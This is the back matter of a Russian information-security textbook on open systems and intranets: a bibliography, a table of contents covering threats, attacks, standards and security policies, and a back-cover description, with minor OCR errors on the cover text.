16.	Щербо В. К., Козлов В. А. Функциональные стандарты в открытых системах. Справ, пособие: В 2 кн. Ч. 2.: Международные функциональные стандарты. М.: Междунар. центр науч, и техн, информации, 1997. 106 с.
17.	Уотт П. Интрамания // Сети. 1998. № 1. С. 122—124.
18.	Ру В., Джозефе М. Все выше, и выше, и...// Сети. 1997. № 6. С. 65-67.
19.	Хершбергер С. Секреты создания интранет. СПб. 1998.
20.	Бландон У. Итак, вы хотите построить интрасеть // Сети. 1997. № 2. С. 49-50.
21.	Steven L. Telleen Intranet Organization: Strategies for managing change. - 1996.
528
Информационная безопасность открытых систем
22.	Елисеев В., Ладыженский Г. Введение в Интранет // Jet Info. 1996. № 20 (27).
23.	Ананьин В. Интранет как инструмент корпоративного управления // Системы управления базами данных. 1997. № 3.
24.	Horgan Т. Intranet Reference Model // CIO Magazine — http://www.cio.com/research/ intranet/refmodel/.
25.	Валов С., Голышко А. Инфокоммуникационные сети будущего: "Контентология" услуг // Вестник Связи. 2003. № 3.
26.	Designing Intranet Network Infrastructure (материал компании Bay Networks) -http://www.baynetworks.com.
27.	Львов В. Создание систем поддержки принятия решений на основе хранилищ данных // Системы управления базами данных. 1997. № 3.
28.	Пинсинс Т. Дж. Экстрасети: ключи к корпоративному царству? // Сети. 1998. №5.
29.	Борт Дж. Запутанный мир стандартов extranet // Сети. 1998. № 4.
30.	Галкин Г. Такие разные корпоративные порталы // Сетевой. 2002. № 5.
31.	Черняк Л. Корпоративный портал // PC Week/RE. 1999. № 31.
32.	Ситников В., Рахманкулов В. Корпоративные порталы - врата в мир электронного бизнеса // Банки и технологии. 2001. № 1.
33.	Колесов А. Корпоративные порталы // Byte. 2001. № 2.
34.	Web-порталы: назначение, преимущества, особенности и средства // КомпьютерПресс. 2002. № 6.
35.	Бабинский А., Букатов А., Шапиро В., Шаройко О. Требования к базовому набору сервисов и служб образовательных порталов и методам их реализации // Материалы науч.-методич. конф. "Интернет и современное общество-2002". РГУ.
36.	36. Вавилов К., Майкевич Н. Корпоративный информационный портал в работе современной организации // Нефтяное хозяйство. 2000. № 10.
37.	Руководящий документ Гостехкомиссии России "Защита от несанкционированного доступа к информации. Термины и определения." М. 1992.
38.	Frequently Asked Questions (FAQ): Системы обнаружения вторжений // http://www.sans.org.
39.	Frequently Asked Questions (FAQ): Системы обнаружения атак на сетевом уровне // http://www.robertgraham.com/pubs/network-intrusion-detection.html.
40.	Петренко С. Методика построения корпоративной системы защиты информации // http://www.citforum.ru/security/articles/metodika_zashity/.
41.	Консультанты Network Security Solutions Ltd. Front-Line Information Security Team (FIST). Методы, используемые кракерами при попытках взлома корпоративных и секретных частных сетей // http://www.ns2.co.uk/.
42.	Елманова Н. Создание серверов приложений с помощью Delphi 3 // КомпьютерПресс. 1997. № 12.
43.	Защита информации в архитектурах клиент-сервер // ComputerWeek / Рус. издание. 1996. № 15. С. 13, 15-19,49-51.
44.	Медведовский И. Д., Семьянов П. В., Леонов Д. Г., Лукацкий А. В. Атака из Internet. Солон-Р. 2002.
45.	Вьюкова Н. И., Галатенко В. А. Информационная безопасность систем управления базами данных // Системы управления базами данных. 1996. № 1. С. 29-54.
Список литературы
529
46.	Payne R. A. Electronic Data Interchange (EDI): An Overview // Datapro Reports on Information Security. Original report: 7840IMW. February 1996.
47.	Electronic Data Interchange (EDI) Overview // Datapro Reports on Information Security. Original report: 2250 NWS. February 1996.
48.	Electronic Data Interchange (EDI) Service Profiles // Datapro Reports on Information Security. Original report: 5150 NWS. February 1996.
49.	The Security Implications of EDI or Electronic Commerce // Datapro Reports on Information Security. General Report. December 1995.
50.	Maximum Security. 2003. Sams.net Publishing.
51.	Steven M. Bellovin. Security Problems in the TCP/IP Protocol Suite. Computer Communication Review, Vol. 19, No. 2, pp. 32-8, April 1989.
52.	Леонтьев Б. Хакеры, взломщики и другие информационные убийцы. М.: Познавательная кн., 1998. 192 с.
53.	Милославская Н. Г., Толстой А. И. Интранет: обнаружение вторжений. М.: ЮНИТИ-ДАНА, 2001. 587 с.
54.	Годин П1. Борьба Microsoft с хакерами пока не выявила победителей // Computerworld Россия. 1997.
55.	Коржов В. Безопасность Java: миф или реальность? // Сети. 1997. № 2. С. 80-83.
56.	Балдерстон Дж. Microsoft оснащает инструментарий Web средствами защиты // InfoWorld, США. 1997.
57.	Колонцов В. Найти, проверить и обезвредить // Открытые системы. 1996. № 6(20). С. 58-63.
58.	Колиак А. Атаки на переполнение буфера // http://www.az.ru/defence/bo.html.
59.	The South African Tiger Team, rdist has buffer overflow, October 4, 1999. URL: http://www.infilsec.com/cgi-bin/if?action=generate&key=00172.
60.	Uphoff J. [81gm]-Advisory-26.Unix.rdist.20-3-1996, July 3, 1996, URL: http://www. data-guard.no/bugtraq/1996_3/0022.html.
61.	Magnicomp, RDist Home Page. July 24, 1999. - http://www.magnicomp.com/rdist/.
62.	Clausen Joern. Buffer overflow. October 3, 1999. http://www.techfak.uni-bielefeld.de/ ~j oern/j ar gon/buffero verflow.html.
63.	Середа С. Оценка эффективности систем защиты программного обеспечения // КомпьюПог. 2000. № 2.
64.	Касперский Е. Компьютерные вирусы: что это такое и как с ними бороться? М., 1998.
65.	Тимофеев Е. Компьютерные врачи // CompUnity. 1996. № 9.
66.	Судов Е. Антивирусная система глазами корпоративного пользователя // ComputerWeek / Рус. издание. 1997. № 10. С. 1,26, 27, 31.
67.	Лукацкий А. Обнаружение атак. СПб.: БХВ-Петербург, 2003. 608 с.
68.	Авдуевский А. Ключ от комнаты или дырявая сеть // Lan Magazine / Рус. издание. 1996. Т. 2. № 7.
69.	Безручко А. Информационная безопасность Microsoft Windows NT 4.0 в сетях.
70.	Проскурин В. Г. Проблемы защиты сетевых соединений в Windows NT // http:// www.hackzone.ru/articles/admintrap.html, 1999.
71.	Snoeren A., Partridge C., Sanchez L., Strayer W., Jones C., Tchakountio F. Hash-Based IP Traceback // Proc. ACM/SIGCOMM. 2001.
72.	Bellovin S. ICMP Traceback Messages. Interner Draft. 2000.
530
Информационная безопасность открытых систем
73.	Savage S., Wetherall D., Karlin A., Anderson T. Practical Network Support for IP Traceback // Proc. ACM/SIGCOMM. - 2000.
74.	Paxson V. An Analysis of Using Reflectors for Distributed Denial-of-Service Attacks. -AT&T Center for Internet Research at ICSI International Computer Science Institute Berkeley. — CA USA. — 2001.
75.	Barros C. A Proposal for ICMP Traceback Messages. - http://www.research.att.com/ lists/ietf-trace/2000/09/msg00044.html. - Sept. 18, 2000.
76.	Щербаков А. Ю. Разрушающие программные воздействия. M.: Эдель, 1993.
77.	Вакка Дж. Безопасность интранет. М.: ООО "Бук Медиа Паблишер", 1998. 496.
78.	Галатенко В. Информационная безопасность // Открытые системы. 1996. № 4 (18). С. 40-47.
79.	Материалы статьи Chris Goggans // В кн.: Pike М. Using the Internet.
80.	Исследовательские отчеты фирмы IBM в области обнаружения вторжения // http://www.zurich.ibm.com/.
81.	Вуллакотт М., Радосевич Л. Web spoofing: новая угроза безопасности Internet // Сети. 1997. № 2. С. 86-87.
82.	Волобуева Ю. Исследование возможностей перенаправления пакетов в протоколах ARP и ICMP // http://www.uinc.ru/.
83.	Нестандартное использование ARP // http://www.void.ru/.
84.	Колонцов В. Безопасность TCP/IP // http://www.citforum.ru/intemet/securities/ tcpip.shtml#9.
85.	Олифер В., Олифер Н. Транспортная подсистема неоднородных сетей // http://citfo-rum.ru/nets/ tpns/contents. shtml.
86.	Демченко Ю. В. Безопасность компьютерных сетей в соответствии с рекомендациями стандарта ISO 7498-2. Безопасность информации. Вып. 3. 1994.
87.	Галатенко В. Современная трактовка сервисов безопасности // Jet Info. 1999. № 5 (72).
88.	Нормативная база анализа защищенности // Jet Info Online. 2002. №7(110).
89.	ГОСТ Р ИСО/МЭК 15408-1-2002. Информационная технология. Методы и средства обеспечения безопасности. Критерии оценки безопасности информационных технологий. Ч. 1: Введение и общая модель. Ч. 2: Функциональные требования безопасности. Ч. 3: Требования доверия к безопасности. М.: ИПК Изд. стандартов, 2002.
90.	Руководящий документ "Защита от несанкционированного доступа к информации. Термины и определения." М., 1992.
91.	Галатенко В., Трифаленков И. Информационная безопасность в Интранет: концепции и решения // Jet Info Online. 1996. № 23-24 (30-31).
92.	Галатенко В. Информационная безопасность. Обзор основных положений // Jet Info. 1996. № 1-3 (8-10).
93.	Кей Р. Kerberos И Computerworld. 2000. № 30.
94.	Щеглов А. Ю. Технология и принципы защиты платформы (ОС) корпоративных сетей // Журн. депонированных рукописей. 2000. № 10.
95.	Демин В. В., Судов Е. В. Интегрированная система информационной безопасности // Сети и системы связи. 1996. № 9.
96.	Risk Analysis: Concepts and Tools // Datapro Reports on Information Security. -September 1991. - IS20-150-1-1-107.
Список литературы 531
97.	Петренко С. А., Симонов С. В. Управление информационными рисками: Экономически оправданная безопасность. М.: АйТи-Пресс, 2004. 381 с.
98.	Как оптимизировать защиту данных в сети // ComputerWeek / Рус. издание. 1996. № 15. С. 1,22-26,47.
99.	Dymek W. Managing Network Security // Datapro Reports on Information Security. February 1996.
100.	Дуби Д. Автоматизация управления безопасностью // Сети. 2003. № 20-21.
101.	Смит Р. Ф. Инструменты для работы с журналами безопасности Windows & .NET // Magazine/RE. 2000. № 6.
102.	Мартин Дж. А. Старший Брат смотрит на тебя // Мир ПК. 1998. № 1. С. 103-111.
ОГЛАВЛЕНИЕ
ПРЕДИСЛОВИЕ..........................................................3
ВВЕДЕНИЕ.............................................................6
1.	СТАНДАРТИЗАЦИЯ И МОДЕЛЬНОЕ ПРЕДСТАВЛЕНИЕ ОТКРЫТЫХ ИНФОРМАЦИОННЫХ СИСТЕМ................................................11
1.1.	Основные элементы технологии открытых информационных систем.12
1.1.1.	Основные понятия и определения...........................12
1.1.2.	Концепция открытых систем................................16
1.1.3.	Роль стандартов в технологии открытых систем. Основные группы стандартов и организации по стандартизации.......................18
1.2.	Совместимость открытых систем................................24
1.2.1.	Переносимость и способность к взаимодействию..............24
1.2.2.	Базовая модель информационной системы.....................26
1.2.3.	Системный подход к описанию функциональности на базе модельного представления информационных систем.............................28
1.2.4.	Расширение базовой модели информационной системы для взаимодействующих систем....................................30
1.3.	Переносимость...............................................33
1.3.1.	Способы реализации переносимости.........................34
1.3.2.	Классификация сервисов платформы приложений по критериям переносимости...................................................36
1.4.	Способность к взаимодействию..................„.............43
1.4.1.	Способы реализации способности к взаимодействию..........43
1.4.2.	Классификация сервисов платформы приложений по критериям способности к взаимодействию....................................51
1.5.	Основные модели открытых систем.............................60
1.5.1.	Модель OSI...............................................61
1.5.2.	Модель POSIX.............................................64
2.	ИНТРАНЕТ КАК ОТКРЫТАЯ СИСТЕМА....................................68
2.1.	Понятие интранета...........................................68
2.1.1.	Структура интранета......................................74
2.1.2.	Эталонная модель интранета...............................77
2.1.3.	Этапы создания интранета.................................82
2.1.4.	Виды интранета..........................................101
2.1.5.	Стандарты создания интранета............................102
2.2.	Интранет как часть среды открытых систем...................104
2.3.	Интранет и экстранет.......................................111
2.4.	Портал и интранет..........................................112
2.4.1.	Классификация порталов..................................117
2.4.2.	Логическая структура и компоненты.......................120
2.4.3.	Схема портала...........................................123
2.4.4.	Базовые сервисы портала.................................124
3.	УЯЗВИМОСТЬ ОТКРЫТЫХ СИСТЕМ НА ПРИМЕРЕ ИНТРАНЕТА.................129
3.1.	Основные понятия...........................................129
533
3.2.	Угрозы ресурсам интранета и причины их реализации............137
3.3.	Уязвимость архитектуры клиент-сервер...........................147
3.3.1.	Конфигурация системы........................................155
3.3.2.	Уязвимость операционных систем............................157
3.3.3.	Уязвимость серверов.......................................168
3.3.4.	Уязвимость рабочих станций................................187
3.3.5.	Уязвимость каналов связи..................................191
3.4.	Слабости системных утилит, команд и сетевых сервисов.........211
3.4.1.	Telnet....................................................212
3.4.2.	FTP.......................................................213
3.4.3.	NFS.......................................................218
3.4.4.	DNS.......................................................220
3.4.5.	NIS.......................................................224
3.4.6.	World Wide Web............................................225
3.4.7.	Команды удаленного выполнения.............................236
3.4.8.	Sendmail и электронная почта..............................239
3.4.9.	Другие утилиты............................................244
3.5.	Слабости современных технологий программирования.............246
3.6.	Ошибки в программном обеспечении.............................255
3.7.	Сетевые вирусы...............................................272
4.	АТАКИ НА ОТКРЫТЫЕ СИСТЕМЫ.........................................280
4.1.	Удаленные атаки на открытые системы..........................280
4.1.1.	Анализ сетевого трафика...................................286
4.1.2.	Подмена доверенного объекта или субъекта..................293
4.1.3.	Ложный объект.............................................294
4.1.4.	"Отказ в обслуживании"....................................295
4.1.5.	Удаленный контроль над станцией в сети....................311
4.2.	Типичные сценарии и уровни атак..............................319
4.2.1.	Этапы реализации атак.....................................320
4.2.2.	Уровни атак...............................................329
4.3.	Классические и современные методы, используемые нападающими для проникновения в открытые системы..........................:.......331
4.3.1.	Перехват данных и обнаружение прослушивающих приложений...353
4.3.2.	Мониторинг в графических интерфейсах......................355
4.3.3.	Подмена системных утилит..................................357
4.3.4.	Атаки с использованием сетевых протоколов.................358
4.3.5.	Примеры некоторых атак....................................381
5.	ОБЕСПЕЧЕНИЕ ИНФОРМАЦИОННОЙ БЕЗОПАСНОСТИ
В ОТКРЫТЫХ СИСТЕМАХ..................................................385
5.1.	Четырехуровневая модель открытой системы.....................385
5.2.	Специфика защиты ресурсов открытых систем на примере интранета.387
5.3.	Выбор сетевой топологии интранета при подключении к другим внешним сетям.............................................................392
5.3.1.	Физическая изоляция.......................................394
5.3.2.	Изоляция протокола........................................395
5.3.3.	Выделенные каналы и маршрутизаторы........................397
534
Информационная безопасность открытых систем
5.4.	Принципы создания защищенных средств связи объектов в открытых системах..........................................................397
5.4.1.	Стандарт ISO 7498-2.......................................397
5.4.2.	Стандарт ISO 17799........................................405
5.4.3.	Стандарт ISO 15408........................................407
5.4.4.	Требования к защищенным каналам связи в открытых системах.408
5.5.	Политика безопасности для открытых систем....................411
5.5.1.	Определение политики безопасности.........................411
5.5.2.	Причины выработки политики безопасности...................412
5.5.3.	Основные требования к политике безопасности...............414
5.5.4.	Этапы выработки политики безопасности.....................417
5.5.5.	Содержание политики безопасности..........................418
5.5.6.	Реализация политики безопасности..........................422
5.5.7.	Аудит за проведением политики безопасности................424
5.6.	Сервисы безопасности.........................................424
5.6.1.	Идентификация/аутентификация..............................425
5.6.2.	Разграничение доступа.....................................427
5.6.3.	Протоколирование и аудит..................................429
5.6.4.	Экранирование.............................................430
5.6.5.	Туннелирование............................................431
5.6.6.	Шифрование................................................432
5.6.7.	Контроль целостности......................................432
5.6.8.	Контроль защищенности.....................................434
5.6.9.	Обнаружение отказов и оперативное восстановление..........436
5.6.10.	Управление...............................................437
5.7.	Средства обеспечения информационной безопасности в открытых системах...............................................438
5.8.	Создание комплексной системы обеспечения безопасности открытых систем...................................................444
5.9.	Управление безопасностью открытых систем.....................452
5.10.	Организационно-правовые методы защиты открытых систем.......458
5.11.	Некоторые рекомендации по обеспечению информационной безопасности открытых систем......................................463
5.11.1.	Что делать в случае взлома системы.......................463
5.11.2.	Как проследить за работой пользователей..................468
5.11.3.	Краткие рекомендации администраторам информационной безопасности.....................................................471
Приложение 1. СРЕДСТВА ИНТРАНЕТА.....................................474
Приложение 2. СРЕДСТВА СОЗДАНИЯ ПОРТАЛОВ.............................482
Приложение 3. ПЕРЕЧЕНЬ СТАНДАРТОВ ISO ПО ЗАЩИТЕ ИНФОРМАЦИИ
В ОТКРЫТЫХ СИСТЕМАХ..................................................487
Приложение 4. ПРИМЕРЫ ПОЛИТИК БЕЗОПАСНОСТИ...........................492
П-4.1. Политика использования ресурсов интранета.................492
П-4.2. Политика в отношении паролей..............................495
П-4.3. Политика шифрования.......................................498
535
П-4.4. Антивирусная политика....................................499
П-4.5. Политика оценки рисков...................................500
П-4.6. Политика аудита..........................................501
П-4.7. Политика для пограничных маршрутизаторов.................502
П-4.8. Политика удаленного доступа..............................502
П-4.9. Политика построения виртуальных частных сетей............504
П-4.10. Политика для экстранета.................................505
П-4.11. Политика для оборудования пограничной демилитаризованной зоны.........................................507
П-4.12. Политика подключения подразделений к интранету..........510
П-4.13. Политика подключения к интранету с применением модема....512
П-4.14. Политика для конфиденциальной информации................513
П-4.15. Политика для веб-сервера................................515
П-4.16. Политика пересылки электронной почты....................516
П-4.17. Политика хранения электронной почты.....................517
П-4.18. Политика для межсетевых экранов.........................518
П-4.19. Политика специального доступа...........................518
П-4.20. Политика подключения новых устройств в интранет.........518
Приложение 5. ЗАРУБЕЖНЫЕ СРЕДСТВА ОБЕСПЕЧЕНИЯ ИНФОРМАЦИОННОЙ БЕЗОПАСНОСТИ В СЕТЯХ.................................519
Принятые сокращения.................................................523
Список литературы...................................................527
Книги издательства «Горячая линия - Телеком» можно заказать через почтовое агентство DESSY: 107113, г.Москва, а/я 10, а также интернет-магазин: www.dessy.ru
С. >. Зимин, LL Именин
Л. И. Толстой, ЯI. Тшако1
Информационная мяпасниоп открь тых систем Том!
Угрозы, уязвимости, атаки и подходы к защите
В учебнике рассматриваются основы информационной безопасности открытых систем на примере интранет. Вводятся основные определения и понятия. Описываются современные угрозы, уязвимости базовых составляющих интранет и удаленные сетевые атаки на них. Подробно рассматриваются концептуальные подходы к обеспечению информационной безопасности в открытых системах и вопросы разработки политики безопасности. Анализируются этапы создания комплексной системы обеспечения информационной безопасности для интранет и сервисы безопасности.
Для студентов высших учебных заведений и слушателей курсов повышения квалификации, обучающихся по специальности «Комплексное обеспечение информационной безопасности автоматизированных систем».
Сайт издательства:
www.techbook.ru